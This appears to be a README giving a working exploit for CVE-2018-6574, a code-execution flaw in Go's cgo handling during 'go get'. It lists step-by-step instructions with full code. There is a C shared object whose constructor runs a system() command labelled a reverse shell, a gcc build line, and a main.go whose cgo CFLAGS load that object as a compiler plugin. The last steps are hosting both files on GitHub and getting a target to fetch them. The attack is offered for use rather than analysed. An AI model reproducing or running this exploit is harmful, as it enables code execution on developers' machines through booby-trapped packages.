Golang cgo exploit for CVE-2018-6574# CVE-2018-6574
### Steps to reproduce:
1. Create a .c file containing the malicious command (revshell):
```
#include<stdio.h>
#include<stdlib.h>
static void malicious() __attribute__((constructor));
void malicious() {
system("<insert your command here>");
}
```
2. Compile it using GCC. You must compile it on the exact architecture and OS as the target (e.g. Linux x86_64):
```
gcc -shared -o attack.so -fPIC attack.c
```
3. Create a main.go file containing headers that will tell go to use our malicious plugin:
```
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
// return f();
// }
//
// int fortytwo(){
// return 42;
// }
import "C"
import "fmt"
func main() {
f := C.intFunc(C.fortytwo)
fmt.Println(int(C.bridge_int_func(f)))
// Output: 42
}
```
4. Host the files `main.go` and `attack.so` on a github repo
5. On the target machine, run the command `go get github.com/<your-handle>/<your-hepo>
6. Be happy
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